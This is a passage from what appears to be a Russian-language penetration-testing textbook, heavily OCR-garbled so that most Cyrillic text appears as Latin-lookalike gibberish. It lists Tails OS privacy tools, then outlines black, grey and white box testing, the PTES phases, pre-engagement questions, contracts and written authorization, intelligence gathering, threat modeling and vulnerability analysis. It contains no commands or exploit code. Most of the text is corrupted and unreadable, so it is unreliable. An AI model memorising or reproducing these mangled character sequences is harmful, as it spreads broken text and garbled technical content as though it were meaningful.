TO3BOJISTIONEe OOMEHUBATLCS (hafiaMu ¢ IPYTHUMHU TIOH30BATENAME O€30-
MACHO U aHOHUMHO;

¢ Thunderbird: mouToBbBIN KJIMEHT ¢ IPEAYCTAHOBIEHHBIM JOMOJHEHIEM
Enigmail st mmdppoBaHust U OANKCH 9JIEKTPOHHBIX MMHCEM C UCTIOJIB30Ba-
nuem OpenPGP;
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¢ Pidgin: Mmeccenkep 171t 0OOMEHa MTHOBEHHBIMU COOOIIEHHUSIMU C MTOEPAKKOL
mudposanusg OTR (Off-the-Record Messaging);

¢ KeePassXC: meHesrep maposieil 17ist 6e30MacHOr0 XPAHEHWsI 1 YIIPABJICHUSI
MapoJIsIMI;

¢ Electrum: 6UTKOMH-KOLIEIEK JLJIA 6e3011aCHbIX U AaHOHUMHBIX TpaHSaKHI/Iﬁ
C KpHHTOBaJIIOTOﬁ;

¢ GnuPG: kpunrorpaduvyecknii UHCTPYMEHT 1 TIM(MPOBAHUSA U MOATTICH
JTAHHBIX C UCIoTb30BanneM mpotokona OpenPGP;

¢ Tails Greeter: ”HCTPYMEHT J1JIs1 HACTPOIKY TapaMeTpOB 6E30MACHOCTH 1 aHO-
HUMHOCTH 11pu 3arpyake Tails, Takux Kak MCI0Ib30BaHNE MaKeTa KIaBHATyPbI,
peRUM OIOKMPOBKHU SKPAHa U APYTHE HACTPOUKH;

¢ MAT (Metadata Anonymisation Toolkit): mHCTpyMEHT JIsl OUUCTKI MeTa-
JNAHHBIX U3 PA3JIUYHBIX TUIIOB (hAIOB;

¢ GNOME (Censorship Circumvention): Habop MHCTPYMEHTOB /iJist 00X0/1a
GJOKMPOBOK M TIEH3YPbI B MHTEPHETE;

e xpurnrorpaduveckas 3aIuTa: TOAIEPKKA IMUPOKOTO CIEKTPa KpUIrTorpaduye-
CKUX MHCTPYMEHTOB JIA H_II/Iq)pOBaHI/IH (baﬁﬂOB, BHEKTPOHHOﬁ II04YTbI 1 MI'HO-
BEHHBIX COOOIIeHNIT 0OecreurnBaeT AOTOJHUTEIbHBIN YPOBEHD 3alUThI JJIsI
M0JIb30BATEIbCKIX JaHHBIX.

Tails OS siBisteTCsI OJIE3HBIM UHCTPYMEHTOM JIJISI TEX, KTO XOUET 00ECTIEYUTH CBOIO
AHOHUMHOCTb 1 0e30TIaCHOCTD MPK PpadoTe B UHTEPHETE, OCOOEHHO B YCJIOBHSIX YIPO-
3bI CJIEKKH, IEH3YPHI MJIM XaKEPCKHUX aTak.



TecTbl HAa NPOHUKHOBEHMUE:
obobLyeHne

EcTb MHOKeCTBO c110c060B IIpoBeACHNA TECTOB Ha IPOHMKHOBEHUE, Uy KayK/0TI'0 13
HMUX CBOU JOCTOMHCTBa U HEAOCTAaTKHU. TeHepb, KOr'/Zla Bbl 3HAaKOMbBI CO BCEMM OCHOB-
HBIMU 9TallaMM TECTOB Ha TPOHUKHOBEHUE, TTOCTaAPAEMCA PACCMOTPETDH BECH TTPOIIECC
IIEJINKOM.

CaM 1poliecc TeCTUPOBAHUS JOCTATOYHO 9HEPro3aTpaTeH, OH TpedyeT TIATEIbHOTO
TIJIAHUPOBAHUS, OTIPE/IETICHIST CAMOM 1€/ M KOHKPETHBIX TI1aroB JIJIsT €€ OCTIKEHUS.
ITocJie 3aBepiueHus IAHUPOBAHKS, TIOJIyYeHs HeOOXOAUMBIX pa3pelieHnil u nH-
hopMIpoBaHK 3a/1€iICTBOBAHHBIX JIMI] HaurHaeTcs caM TecT. OObIYHO ero HaYMHAIOT
co cbopa nHbOpPMALIK, KOTOPast BIIOCAEACTBUI IIPUTOAUTCS JJIs CKAHUPOBAHUS CETH
1 IPYTUX aKTUBHBIN feficTBril. [locie qocTrskeHnst 11e1m TeCTUPOBAHUS TIO/ITOTaB-
JINBAETCS OTYET, B KOTOPOM OTPAKAIOTCS BCE JIEHCTBUS, HallZIeHHbIE YSI3BUMOCTH,
METO/IbI X AKCIIITYaTUPOBAHUS ¥ PEKOMEHIAITUY TI0 YCTPAHEHUIO.

TecThbl Ha TPOHUKHOBEHNE SIBJSTIOTCS YACTHIO HOPMATHHOTO KIUZHEHHOTO ITHKJIA
s060it UT-urdpactpykTypbl. Heo6X0MMOCTh B UX TPOBEACHUN MOXKET ObITh 00Y-
CJIOBJICHA KaK BHYTPEHHEH TOJUTHKOM, TaK U TPeOOBAHUSIMU TPEThEH CTOPOHBI, HO
B JTI060M CJTydae UMEHHO TaKue MEPOIPUSATHST MO3BOJISIOT TO-HACTOSIIIIEMY OIIEHUTD
BO3MOKHBIE PUCKU U BBISIBUTDH CKPBITHIE TPOOJIEMBI.

OO6bIYHO BO BpeMsT TAKUX TECTOB OIEHWBAIOTCS CJAeMyone KoMmoHeHTsl N T-
NHGPaCTPYKTYPbL: IIPUIOKEHUS, CeTeBble CePBUCDI, CeTeBble YCTPOUCTBA, CPe/ibl
repelaull TaHHbIX, MOATOTOBIEHHOCTD COTPYIHUKOB U (hrsndeckas Ge30macHOCTb.

TecTbl HAa TPOHUKHOBEHKE MOXKHO KJIACCU(MDUITMPOBATH HA OCHOBE TAKOTO MapaMeTpa,
KaK OCBEIOMJICHHOCTH aTaKYIOIIETO, BBIZICTUB CACIYIONINE TUTTBL: «U€PHBIN SITUKY,
«Cepblii AMUK»> 1 «OeJIbIi AMUK>.

YepHblii MUK — JIydIlie BCETO XapaKTepu3yeT GOJIbIINYI0 YacTh aTak Ha ceTh. B gan-
HOM CJIy4ae 4aille BCEro aTaka IMPOUCXOAUT YAAJIEHHO, a aTAKyIONeMy M3HAYATIbHO
M3BECTHO TOJIbKO Ha3BaHUe Opranu3anuu. VIcIoap3ys IpuemMbl, B TOM YUCJIe 1 OTTH-
canHbie B ryiaBax 3 «C6op OTKPHITON HWH(MOPMAIUK O TIei> 1 4 «AKTUBHBIN cOOP
MAHHBIX» HTOW KHUTH, CIEITATNCT TTOTyYaeT Goree ToApoOHYI0 MHMOPMATIHIO O TIeTH
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1 TIpPUMEHSIET ee JIJIsT TATbHeHTnX elicTBUiL. Bo BpeMs cBOMX /IeHCTBUH aTaKyIOMIIiI
JIOKYMEHTHPYET Bce Hal/[eHHbIe YSI3BUMOCTI U MX MOTEHIINAIbHYIO OTTAaCHOCTD,
4TOOBI BIIOCIEACTBUN UCIIONb30BATh [JIs ATAKU 1 IIPECTABIEHUS OTYETa 3aKA3UNKY.

Cepblii SIHK — B 3TOM CJIydae aTaKyOIUN H3HAYAIHLHO 00JIa1aeT HEKOTOPOil UH-
cdhopmarueit, HaprMep, €My U3BECTHBI BEPCUU TIPOTPAMMHOTO 00ECTIeUeHUsT UITH
CTPYKTYpa CETH. DTO COKPATIAET BPEMST, HEOOXOANMOE JIJIST ATAKHU, BE/Ib TIOSTBISIETCST
BO3MOKHOCTD Y3HATh O CAaMBIX KPUTUUYHBIX TOYKAX B CETEBOI MHGPPACTPYKTYpeE.
B ocranbHOM ke mporiecc He Gy/IeT OTIUYAThCS OT «4ePHOTO SMIUKA.

Benblii smMK — MPpOM3BONTCS MPU HAJTUYUU Y aTAKYIONIETO MOJTHOW NH(pOpMaIIu
o cBoeil e, JIaHHBIH BUL TECTUPOBAHUS MO3BOJISIET Hanboiee MoJHO OIeHUTh
NT-uHGpacTpyKTYPy U TAaPaHTUPOBAHHO OOHAPYKUTh GOJIBIITYIO YaCTh TPOOIEMHBIX
MecT. acTo Takoil criocod TeCTUPOBAHUS HCIIOIb3YETCsI IPU MTPOBEIECHUN BHYTPEH-
HUX ayIUTOB.

[Ipu odurmanbHo paspereHHOM ayiuTe THGOPMAITMOHHBIX CUCTEM €CTh HECKOJIBKO
BApMaHTOB IIPOBE/IEHNS TECTUPOBAHNUS:

® cJIenoe TECTUPOBAHHE — AY/IUTOD HE PACHOIAraeT KaKoH-1nb0 BasKHOH nHbOp-
Malei o 1esn, oJ{HaKO UMelolie OTHOIIIEHHE K TeCTUpyeMoi nHpacTpyKType
COTPYIHUKHU 3apaHee TMPEAYIPEKICHbI O HAallaleHUH;

® [BOiiHOE cJIeTnioe TECTHPOBaHUe — AyJUTOP He PAcIioyiaraeT HUKAaKIUMU IAHHBIMU
0 1eJIN, U O TIPEJICTOSIIEN aTaKe 3HAET JIUIIb HECKOJIBKO YeJIOBEK U3 I1eJIeBOI
opraHusanuu; 6OJIbINAsA YaCTh TECTOB MIPOXOANUT UMEHHO 10 9TOMY CIIeHAPHIO;

® peBepCHOE TECTHPOBAHHE — ayAUTOP MMEET BCIOo MH(OPMAIIMIO O CHCTEME, CO-
TPYAHUKHU 3HAIOT 0 OyAyLIEM TECTe, HO He PacIioyaraioT ZaHHBIMH O TOM, T/IE
U KOrJia OH Oy/IeT IPOUCXOINTD.

CTaHD,apT BbINMOJIHEHNA TECTOB
Ha NPOHUKHOBEHUE

Ectb HECKOMBKO TIOIIYJIAPHDBIX CTaH/IaPTOB, 110 KOTOPbIM OOBIYHO BBITIOTHAIOTCS TECTHI
Ha IMTPOHUKHOBEHUE. XoTs OHU U He 0043aTeIbHBI K HCIIOJTHEHHWIO, OJHAKO UX TIPpU-
MeEHEeHHnEe ITIOMOKET, BI)I6paB METO/IUKY, n3bexaTh TUIIMYHBIX OIINO0K U He YIOYyCTUTDb
13 BU/1Yy BasKHbIE€ BEIIIN.

OanuM u3 takux crangapros apiasgerca PETS, paspaboraHHblil HECKONBKUMU 9KC-
nepramMu 110 MHQMOPMAIMOHHON GE3011aCHOCTH € 1eJIbI0 KOHKPETU3UPOBATH METO/IbI
U [Iaru, KOTOPbIE JIOJIKHBI TIPEIMTPUHUMATD ClielinaucTsl 1o b Bo Bpems tectu-
poBaHus. JlaHHBIN cTaHAAPT JOCTYIIEH JJIsi 03HAKOMJIEHHUST TIOJTHOCTBIO M OECILIaTHO
Ha opuIraIbHOM caifTe http://www.pentest-standard.org.

B PETS Boinensiercst cemb a3 TecTHpOBaHUS:

® J[I0JArOTOBUTEJIbHAA (1)8.33.;

e c0O0p JaHHbIX;
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MOJICJIMPOBAaHUE YTIPO3;
aHaJIn3 YHSBI/IMOCTefl;
IKCITyaTalusAa yHSBHMOCTeﬁ;

MOCTIKCILTyaTalinoHHas ¢asa;

OT4YeT.

ITHU ceMb (pa3 OTpaKaIOT BCe AEUCTBUS, KOTOPBIE AOJIKHBI ITPOUCXOANTD BO BPEMs
TecTa Ha mpoHukHoBeHUe. PETS — cTtanzapT mocTaTOYHO HOBBIHN, OMHAKO OH TIO-
CTOSIHHO MOJIEPAKUBACTC, OOHOBJISETCS U UBMEHSIETCS BMECTE ¢ TpeOOBaHUSIMU
k ayzantam 1B.

Hpemﬂe YEM IEPEXOINTDb K PAaCCMOTPEHHNIO Ka)KlIOfI n3 (1)3_3, CTOUT CKa3aTb O TOM, YTO
XOTA 9TOT CTaHZIAPT U IIBITAETCA OXBATHUTDb BECH ITPOIECC TECTAa Ha IPOHNMKHOBEHNE,
O/I[HaKO HU O/INH pea]II)HI)II;'I aAy/IMUT HE ITPOXOJAUT I10 CTaHlIapTHOf/,I cxeme, Ka)KI[beI ns3
HUX 6leeT B 4YEM-TO OTJIMYATbCA.

MNMoarotoBuTenbHas ga3sa

YacTo NOBTOPSIOT, UTO IJIAHUPOBAHME — 3aJI0T yCIIeXa, U 3TO JACHCTBUTEIbHO TaK,
0cobeHHO Korzia pedb uzet o6 ayaure 6esonacHocTu. UTo6bl yIauHO TPOBECTH ay/INT,
HEOOXOIMMO CEPhE3HO TIOATOTOBUTLCS, YUECTh BCE HIOAHCHI, MOA06PaTh HYKHBIE
MHCTPYMEHTBI U METO/IUKY.

OO6BIYHO TECT HA MIPOHUKHOBEHNE HAYMHAETCS CO BCTPEUYN 3alHTEPECOBAHHBIX CTO-
POH, e 06CyKAaI0TC BCe He0OXOAMMbIE JIETalI, ONPEIEISIOTCS eI U METO/b,
a TaKke JIOAHU, KOTOPbIE MOTYT OBITh BOBJIEYEHBI B IIPOIleCC B AaibHelem. K Komiy
TaKO BCTPEUM y Bac JI0JKHO C(POPMUPOBATHLCS OTIPeiesIeHHOe BUIeHUE 3a/1a4 U 11e-
Jiell mpencrosmeil paboTsl — 0€3 9TOro MOCJIe BBIIOIHEHNs TecTa OyIeT IpaKTude-
CKU HEBO3MOKHO OTIPEICJIUTH, BBITTOJTHUIN JIU BB TTOCTaBJIEHHYIO 3aga4y. [Ipexae
BCETO HEOOXOAMMO OIPEIeIUTh OCHOBHbIE 1IEJIM aTaK!, BBISICHUTH, KaKie 00beKThI
OyLyT MOABEPraThCs HANALEHNIO, a KaKle — HeT, OIIPEJeNUTh 0ObeM U OCHOBHOM
TUII TECTOB.

BoT mpuMepHbIii CIIMCOK BOTIPOCOB, KOTOPBIH TOJIKEH 0OCY/KAATHCS HA TAKUX BCTPE-
Jax:

OCHOBHbBIE BUJIBI JICATEIIBHOCTH 11EJIEBOM OPTaHU3aIlNN;

€CTh JIM KaKue-100 OrpaHNIeHHsI, KACATOIIIUECS] OIIPE/IEIEHHBIX BUIOB TECTOB;
KaKue JaHHbIe ¥ CUCTEMbBI OYIYT MOABEPraThCs TECTUPOBAHUIO;

KaKWe Pe3yJIbTaThl 10JIKHBI OBITh TI0JyYeHbl B KOHIE TECTUPOBAHNS,

KakoBa OyJIeT anbHelias cyab6a pesyIbraToB TecTa;

KaKnM 6IO,Z[>KBTOM BbI paciioJjiaraeTe /1Jis IIPpOBe/IEHUA TECTa;

KaKOBa OKOHYaTeJIbHaA IeHa TeCTa,
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KaK¥1e pecypcbl y BaC UMCIOTCA JIAA TECTUPOBAHMAA;
Kakue JeicTBUs Ppa3penieHbl /I ITPOBE/IEHUA TECTA;

KTO OyzeT HporH(MOPMUPOBAH O IIPOBEJCHUN TECTA;

KaKasd I/IH(I)OpMaL[I/IH 6yZIeT IToJsrydeHa o LICJICBOfI CHUCTEME IIepea HaYaJIOM TECTU-
POBaHUA;

KaKOH pe3yJibTaT MOJKHO CUUTATh y/ITAUHBIM BO BPeMsI IIPOBE/ICHUS TECTa;

® C KeM MOXXHO KOHTAKTHPOBATh B CIydae BOSHUKHOBEHNUS HETIPEABU/ICHHON CH-
Tyalum.

Heobxoanmo ybenThest B TOM, 4TO BCe YUACTHUKU BCTPEYH TIPEKPACHO MOHUMAIOT
BO3MOJKHBIEC PUCKU MPOBEJICHUS OTPENEJCHHBIX TECTOB, a TAKKe UX CIENU(pUKY.
Ybenutecn, 9TO BaIM MIAHUPYEMBbIe TeHCTBYST HATILTH OM00PEHTE U COTIACOBAHBI CO
BceMu yuacTHHKamu. Huske mpruBeieHbl TUTTMYHBIE BAPUAHTHI aTaK, KOTOPbIE MOTYT
IIPOBOJINTHCA KaK N30JIMPOBAHHO, TaK U B KOMILTIEKCE.

CounanbHas unskeHepust. CaMbIM ¢/1a0bIM 9JIEMEHTOM JIIOOOH CUCTEMbI SBJISIETCS
YeJI0BEK; TEXHOJIOIMU MOTYT IOMOUYb KOHTPOJUPOBATh €0 JeHCTBUsL, HO He CLIOCOOHDBI
TOJTHOCTHIO UCKITIOUUTD 3TOT hakTop. [IpoBemenne TecToB Ha MPOHUKHOBEHNE TIPU
HOMOIIY COLUATIBHON NMHAKEHEPUHN J0JKHO ObITh BKJIIOUEHO IIPAKTUYECKU B 110001
TECT.

TecTupoBanue NPUAOKEHHH. MOKET IIPOBOAUTHCS OTHENbHO WU OBITH YaCThIO
ob1tero tecra Ha MpoHUKHOBeHME, OcoObIil HHTEPEC TPEACTABJISIOT TPUIOKEHNS,
HalvcaHHble MHANBU/LYATbHO [IJIT KOHKPETHOW OpraHu3aIini, U MpUIoKeHus, pa-
GoTarolire B HeCTAaHJAPTHOM OKPY/KEHUH.

Tecruposanue ¢pusnyeckoii GezonacHoct. OcoGEHHO AKTYaNbHBI TAKUE TECTDI JIJIs
MPABUTEIbCTBEHHBIX U BOEHHBIX OpraHusanuii. Bo BpeMst TecTupoBaHust HEOOXOIMMO
TTOMBITATHCST TIOJYUNTDH TOCTYIT KO BCEM CETEBBIM yCTPOHCTBAM, HAXOISATNMCS Kak
B IJIABHOM 3/IaHMU, TaK U B YIaJIEHHBIX MECTaX.

Hucaiigepckue ataku. ITonbiTky BbIIaTh ce0s1 3a TIEPCOHY, Y KOTOPOI €CTh ZOCTYII
K KaKOMY-J1100 ceTeBOMYy 060PYI0BAHUIO.

Buemmue araxu. [TonbITky B3/10Ma ceTn HEJOBEKOM, HaXO/AINMCA 3a €€ IIpeJe/laMu.

ATaku npU MOMOIIH YKPAJAEHHOTO 000pyA0BaHus. B aTOM ciydae aTakyionuii
MOCJIe KPasku KaKoro-ub0 000pyI0BaHUST UCIIOIb3YET €ro JIJIs JaJbHENIIero Ha-
Ma/IEHUS.

Crenyer Takske 0OCYUTH U OMPEETUTh BPEMS U JTUTEIbHOCTh TIPOBEICHUST Te-
cTa — 3TO OYEHb BAXKHO, TaK KaK HEKOTOPbIE GU3HEC-TIPOIECCHI TPOUCXOAT TOIBKO
B OITpeJIeJIEHHOE BPeMsT CYyTOK. [Ipu 3TOM HEOOXOUMO COOTIOCTH GalaHC, BE/lb TECTDI
C UCIIOJIb30BAaHUEM COIIUATBHON HHKEHEPUU OU€Hb TPYIHO MPOBOAUTH B BHIXOHbIE
mHu i B Hepabodee Bpemst. O6s13aTeIbHO 06CYANTE BOSMOKHBIE PUCKH 1 BIUSTHIE
TECTOB HA GU3HEC-TIPOIECCHI, ITO TIOMOJKET BaM 06E30TIaCUTh ce0sI B CIIyYae Hempe/I-
BUJICHHBIX CUTYAIIUA.
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[loroBop 0 nNposeaeHun paboT

B ciryuae TectupoBaHUs CTOPOHHEN OPraHU3aIMN BCETa HEOOXOANMO MTUCHMEHHO
3aKPEIJISITh TOCTUTHYTBIE TOTOBOPEHHOCTU. B 10TOBOPE HEOOXOMNMO OTPA3UThH
CJIeIyIOMINE TyHKTBI:

® CHCTEMbI, KOTOPbIE ITIOABEPIrHYTCA TECTUPOBAHUIO;

® BO3MOJXHbBIE PUCKHU Ha cnyqaﬁ BO3HMKHOBEHUA HEIIPpEABUAECHHDBIX CI/ITyaHI/Iﬁ
(a OHH, KaK ITOKa3bIBa€T ITPaKTHUKa, OBIBAIOT JIOBOJIBHO ‘laCTO);

® BpeMeHHble PAMKH C YKa3aHUeM JiaT U BpeMeHu (Bcer/ia IIaHupyiTe BpeMs ¢ 3a-
11acOM, TIOMHUTE O HeIIPe/IBU/IEHHBIX CUTYaITHSIX );

® J[aHHbI€, KOTOPbIE BbI IIOJIYUHXTE IIepe/l Ha4a/IOM TeCTHUPOBAHNA;

® JleiicTBUST, KOTOPbIE BbI COBEpINUTE 1pu 0OHapyReHnn ysispuMocTu. He Beerza
Hal/IeHHYIO YSI3BUMOCTb MOKHO ITPOSKCILTYaTUPOBATh, HO 3TO BbI TOHMeTe TOJBKO
MocJjIe TIONBITKY TTpoBecTn aTaky. OHAKO B HEKOTOPBIX CIAYYasX aTaka MOXKET
MIPUBECTHU K BBIXO/Y U3 CTPOSI KPUTUUYECKUX /IJIT 3aKkazunka cucteM. [TomaNTE
0 PUCKaX;

® De3yJIBTaThl TECTUPOBAHU, TO, B KAKOM BUE UX MOJYYHUT 3aKA3YMK U KaKOBO
JIOJIKHO OBITh UX COZEPIKAHIE.

MonyyeHne paspeLueHns

ITO OIVH M3 KJIIYEBBIX MOMEHTOB TECTUPOBAHUA CTOpOHHefI Opranu3ainum. He-
O6XOZII/IMO HMOJIYYUTH JOKYMEHTAJIbHOE ITOATBEPKACHUE TOMY, 4TO OTBETCTBEHHBIN
YEJIOBEK CO CTOPOHDbI OpraHmn3alinm, I/IMeIOH_[I/Iﬁ ITpaBO IMOAIINCH, YTBEPJANJI Balll IJIaH
" JaJi corjlacre Ha IpOBeJIeHNE TaKNX pa60T.

Hukora HeJib3s1 HAUMHATH TECTHI HA OCHOBE JIUIIb YCTHOTO COTJIACHST CTOPOH. Bes
coburroieHnsT (OPMabHOCTEH BBl U3 KATErOPUU 3aKOHOTIOCIYIITHOTO CIIEIHAINCTA
10 HGOPMALMOHHON GE30IIaCHOCTH aBTOMATHYECKH Nepelifere B paspsij Kubep-
IPECTYIHUKOB. EC/IM BbI IIPOBOMTE TECTHI B TOI JKe OpraHusaiuu, rae 1 paboraere,
HOATBEPsKIeHUE He 00s13aTe/IbHO H0JKHO ObITh 0popMIIeHO Ha GyMare, — HOAOMAET
U IIUCHMO, TIPUCJIAHHOE TI0 9JIEKTPOHHOM 1ouTe. B 06111eM ke He cTOuT 1penebperath
GYMaKHBIM JOKYMEHTOM, TaK KaK TP BO3HUKHOBEHNN KaKUX-TO0 TpobieM oH Oy-
JIET CITY’KUTh HEOCITIOPUMBIM JIOKa3aTeJIbCTBOM Ballleil HeBUHOBHOCTH. B caryuae ke
BO3HUKHOBEHUS CUTYal[Hii, TPEOYIOIMX IPOBEIEHUs Psijia AOMOJHUTEIbHBIX, paHee
He 3allJIaHIPOBAHHBIX PadoT, HEOOXOANMO IIOAIIKMCATh AOIOIHUTEIBHOE COIIAlIeHIe
U IOJIyYUTh Pa3pelIeHie.

C6op paHHbIX

ITocne IO CAaHUA BCEX HY/KHBIX 6yMar MOJKHO ABUTATHCA JaabIlle U HAUMHATD CO-
6I/IpaTb H606XOZII/IMBIC JlaHHbIC. IJTOT aTAT YoK€ OTHOCUTCS K TECTY Ha ITIPOHNKHOBECHUE,
Jla’Ke €CJIN Bbl HE BSaHMOlIefICTByeTe C II€JIbIO HaIIPAMYTO.
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CymecTByeT OTPOMHOE KOJIMYECTBO NCTOYHUKOB JIAHHBIX; PEIIaTh, KaKue U3 HUX
GyyT MOJNE3HBI LIS TOCTHKEHSA KOHEUHON 11eJIH, a KaK¥e HEeT, TPUIETCS BaM.
Boi6upaiite Te, KOTOpbIe MOMOTYT BaM B OY/AyIIEM MOJYYUTh Hanboiee ToJIHOe
MpezicTaBIeHUE O 1eJIN, OTPEIEUTD ITPUOPUTETHOCTD W HAIIPaBJIEHNE BEKTOPOB
B3sioMa. McTtounnkoMm nHMOPMAMN MOKET CIYKUTHh YTO YIOJHO: TTOUCKOBBIE
CHUCTEMBI, CAliThl, BAKAHCHH, (PHAHCOBbBIE OTUETHI 1, KOHEYHO K€, COINaJIbHbIE
ceTu.

B PETS Bbize/s110T TpU ypoBHS cOOpa JaHHbIX:

L] HepBblf/,I YPOBEHDb — caMbIit HpOCTOfI, JOITyCKa€T UCIIOJIb30BaHNE aBTOMATNIECKUX
CHUCTEM c60pa I/IH(bOpMaIII/II/I, a TaKJKe CaMbIX IOITYJIAPHBIX MHTEPHET-PECYPCOB;

® BTOPOii YPOBEHb OTJINYAETCS OT IEPBOTO TEM, YTO HOJIbIIE BPEMEHH TPATUTCS Ha
PY4HOI ¢OOp JIAHHBIX ¥ JIE€TATbHBINA aHAINU3 HH(MOPMAIUU, YTOODI JIyUIlle Y3HATH
CBOIO IIEJIB;

[ ] TpeTI/Iﬁ YPOBEHDb caMbIii SanaTHbeI 110 KOJIMYECTBY BpEMEHN 1 CWUJI, HA /TaHHOM
dTalle aTaKYyIOIINM HaXOJATCs CaMble YA3BUMbIE MECTa CUCTEMDbI.

ITpeske yeM NpUCTYIUTD K cOOPY JaHHBIX, HEOOXOIUMO [IPOBECTH IIOArOTOBUTE/Ib-
HYI0 paboTy, KOTOpast MOKET BKJIOUATh B ceOst CICAYIONIIE IeHCTBUS:

® OIpeIeINTECH C 1eJIbI0: XOPOIIIO, €CJIU Mepell BAMM TTOCTaBJIeHa KOHKPETHAS 3a-
Jlada, 0JHAKO valile nHGOPMAIUs O 1IeJId HECKOJIBKO Pa3MbITa, U B 9TOM CJiydae
HEOOXOAUMO OIPEAEIUTD, YTO KOHKPETHO BbI J0JIKHBI HCKATD;

® OlIpesennuTe paMKy, 3a KOTOPbIE BbI HE MOJKETE BbIXO/IUTH Ha JaHHOM 9Talle, €CJInu
BbI ITPOBOJINTE TECTHI JIA CTOpOHHef/'I OpraHn3alluu;

® [pojyMaiiTe, CKOJIbKO BPEMEHU 3aliMeT BhITIOJIHEHHE PAOOT HA JJTAHHOM JTAIlE;

® yerKo 0003HAUbTe, KaKoil nH(pOpMaIreil Bbl XoTean Obl 00J1a1aTh 110 OKOHYaHUN
paboThl Ha JaHHOM DTalle.

B uease mocsie 3aBepienust paboThl BbI TOJKHBI 00JaaTh CTPYKTYPUPOBAHHO
nHpopMaImeii caeayonmux TUIIOB:

® 1y6MyuHOI nHbOPMAIMEH, JOCTYITHON IUPOKOMY KPYTY II0JIb30BaTe i, 00bIYHO
u3 ohUIHMATBHBIX HCTOYHUKOB;

e wHbOPMaIMell U3 OTKPBITBIX UCTOYHUKOB, JOCTYITHON MUPOKOMY KPYTY MOJIb-
30BaTeJIe;

e crnennududeckoil nHdopmaluei, Kacamouieiicsas ocobeHHocTeil cepbl pPaboTh
npeanpusaTust (HapuMep, 0COGEHHOCTH TIPUMEHSIEMOTO 060PYI0BAHKS U TIPO-
rpaMMHOrO obecriedeHus );

® ceTeBOI MH(pOPMaIMEl, BKIOYask BCe, YTO MOKHO Y3HATDH O CETEBBIX CEPBUCAX:
[P-anpeca, DNS-3ammcu, cett  T. 11.;

® JIaHHBIMU 00 YSI3BUMOCTSIX — TIOTEHITMAILHBIX OpPeliax B cucTeMe Ge30MacHOCTH,
KOTOPBIE MOTYT OBITDH MPOIKCILTYaTHPOBAHBI HA MOCJELYIOIUX HTAIAX;
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® J[AHHBIMU COTTMAIBHON WHKEHEPUH, BKJIIOYAsT BCE TO, UTO BbI CMOTJIM BBIBEATH
Y COTPYJIHUKOB JJAaHHOI OpraHu3aIiu.

MoaennpoBaHue yrposbl

OcHoBHas 3312492 Ha 9TOM 3Talle — IIOCTPOEHNe TeCTOBOI CPEe/Ibl, B KOTOPOI BBI CMO-
JKeTe ompobOBaTh Bee TTaHNPYeMble BADHAHTDI aTaKU Ha MEJEBYI0 cructeMy. Ampo-
Garist METOIOB B BUPTYAIBHOM Cpejie TIOMOXKET BaM u3bekaTh OMmMOOK mpu paboTe
C peasIbHOI 11eJIbI0, & TAKIKE MPUBJIEYD K cebe MEHbINE BHUMAHUSI, BE/Ib B aTbHeNTIei
pabore BbI Gy/I€TE UCTIOIB30BATH JIUII TIPOBEPEHHBIE METO/IBL.

B mporiecce MO TMpOBANS BBIIEAIOT YEThIPe OCHOBHBIX HTaTA:
® u3yuYeHne HeoOXOANMOI TOKYMEHTAI;

® olpe/eseHue IIEPBUYHBIX U BTOPUYHBIX METOJ[OB aTaK;

® HaXOK/IeHUE OCHOBHBIX U BTOPOCTEIICHHBIX YS3BUMOCTEN;

[ ]

oTIpe/ieIeHrie MeTO/IOB aTaK! /IS KaXKI0W U3 ySI3BIMOCTEN.

ITo cyTtu, aTOT MpoIlece MOKHO OTHECTH K atamy cbopa nHbopmanuu, Ho Goee
yruybaentnomy. B wzease Bbl IOKHBI Tpaddeckyt 0TOOPa3UTh BCIO MOMYIECHHYIO Ha
MpebIAyIeM Mare HHGOPMAIHO: OU3HEC-TIPOIECCHI, (DU3UMUECKOE PACIIOTIOKEHIE
060pyIOBaHNUs, KAPTY CETH, HEPAPXHUIO COTPYAHUKOB U T. 1. JIJIst 3TOTO CyIIECTBYET
MHOKECTBO MHCTPYMEHTOB, PACCMOTPEHHBIX B ATOW KHUTE.

AHanu3 ysa3BuMocCTen

Ha sTom sTare, ncmob3yst BCio coOpaHHyio WHHOPMATIHIO U OTTPEICTUBIINCH C Me-
TOJAMH Y UHCTPYMEHTaMH, Bbl HAYMHAETE HEIIOCPEJACTBEHHO B3aUMO/IEHICTBOBATD CO
CBOEIT 11e/1bI0. BBl I0JIKHBI OMPENETUTD 1 KIaCCU(DUIMpPOBATh J100bIe BOSMOXKHbIE
ySI3BUMOCTH, OY/Ib TO HEKOPPEKTHAST KOH(UTYPAIUS CEPBICA WU OMIMOKH, TIOSIBUB-
IIHECS TI0 BUHE Pa3pabOTYMKOB KOHKPETHOI TIPOTPAMMBIL.

[Tpu mpoBeIeHU TAKOTO AaHAJIN3A BbI JOJGKHBI YETKO MPEACTABIATE cebe, Kakue
TecTbl GyJIeTe TPOBOAUTD, KAKOW MHCTPYMEHTApHil GyieTe UCII0Ab30BaTh W YTO BbI
xorute HaiiTi. MlHaue BbI MOTPAaTHTE MHOTO BPEMEHH, BCe GoJIbIIe yriyOJIsasach B aHa-
JIM3 KAKOTO-JTHO0 OTIETBHOTO KOMITOHEHTA CETH, 2 €3 YETKOTO OCO3HAHHSI TEJTH 9TO
MOJKET 0Ka3aTbCsl KOHTPIIPOLYKTUBHO.

Bo Bpems aToro srana yaie BCETO MPUXOANTCS BBITTOJHATD TAKUE TEHCTBUSA, Kak
CKAHUPOBAHNE MOPTOB, TToJydeHre ndopMaii 06 yCTaHOBIEHHBIX TPOTPaM-
MaX, CKaHHpPOBaHUe Ha HaJW4Me YSI3BUMOCTell U Apyrue, oNMUCaHHbIe B IJIaBax 4
«AxTuBHBIH c60p manubix> 1 6 «Ilonck ysssumocreii». Crapatitech naberatnb
TIPEKIEBPEMEHHBIX TOTBITOK HKCILTYATAIINT HAWIEHHBIX YSI3BUMOCTEH, KAKUM GBI
3aMaHYMBbBIM 9TO HU BHITJIsAEs0. [loMHITE, UTO BBI €I1ie TOJBKO coOMpaeTe moJes-
HYI0 UH(GOPMAIUIO.
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dKcnnyaTaumst ysa3BMMOCTEN

TTocJe TOTO Kak BLI COOPAITH BCIO HEOOXOAMMYTO MHHOPMAITHIO, OTIPETETUIUCH C Y513~
BUMOCTSIMU, TIOJITOTOBUJIM HEOOXOIMMBIE HHCTPYMEHTDI U BEIOPAIHN HY/KHBIE TIEJIH,
MO’KHO IIPUCTYHATD K CJIEAYIONIeMY HIary.

